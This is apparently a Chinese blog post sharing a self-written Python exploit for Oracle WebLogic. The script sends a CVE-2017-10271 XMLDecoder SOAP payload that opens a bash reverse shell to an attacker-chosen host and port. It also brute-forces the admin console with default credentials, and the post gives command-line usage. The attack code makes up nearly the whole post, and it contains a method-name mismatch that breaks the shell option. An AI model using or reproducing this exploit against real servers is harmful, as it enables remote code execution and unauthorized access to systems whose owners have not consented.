• 自己写的Weblogic的poc


    """
    暂时只试用于Linux,先试试用一下反弹shell  CVE-2017-10271的EXp
    """
    import requests
    import sys
    class Weblogic :
        def __init__(self,host,port,url) :
            self.url=url
            self.host=host
            self.port=port
        def CVE_2017_10271_Shell(self):
            url=self.url+"/wls-wsat/CoordinatorPortType"
            port=self.port
            host=self.host
            header={"Accept":"*/*","Accept-Language":"en","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Content-Type":"text/xml","Connection":"close","Host":self.url.replace("http://","")}
            data="""
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/{}/{} 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>""".format(self.host,self.port)
            Mikasa=requests.post(url,headers=header,data=data)
            print("请查看有没有获得Shell!!")
        def Shell_Cmd(self) :
            pass
        def Weak_Password(self):
            password=['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','mary']
            url=self.url+"/console/j_security_check"
            for user in password :
                for pwd in password :
                    data={"j_username":user,"j_password":pwd,"j_character_encoding":"UTF-8"}
                    test=requests.post(url,data=data,allow_redirects=False,verify=False)
                    if 'console' in test.text and 'LoginForm.jsp' not in test.text :
                        print("存在弱口令!!!!")
                        print("user:"+user+"   password:"+pwd)
                        exit()
    if __name__=='__main__' :
        exp=Weblogic(sys.argv[3],sys.argv[4],sys.argv[1])
        if sys.argv[2]=="CVE_2017_10271_Shell":
            exp.Reverse_Shell()
        elif sys.argv[2]=="Cmd":
            pass
        elif sys.argv[2]=="Weak_Password" :
            exp.Weak_Password()
        else :
            print("去屎吧2333333")
        print("CVE-2018-2628以及CVE-2018-2894也要去试试看,自己暂时还写不出这两个的exp")             

     使用方法:

    反弹shell :    python3  exp.py  http://xxxx:7001/   CVE_2017_10271_Shell     host   port(后面的是你自己反弹Shell的主机ip以及端口)  

    Weak密码检测:   python3 exp.py  http://xxxx:7001/    Weak_Password    xxx   xxx     (因为用的是类的构造函数整的,所以在进行其他方面的测试的时候会导致后面多一些东西,填任意的即可QAQ)

  • 相关阅读:
    网络编程之Tcp,udp
    网络编程简介
    面向对象之高级篇 反射,元类
    面向对象 高级篇
    面向对象,继承
    初识面向对象
    包 hashlib,logging
    模块
    Dango生命周期回顾与forms组件
    Django中auth登录、注册、修改密码、退出、ORM自关联
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/11131419.html
Copyright © 2020-2023  润新知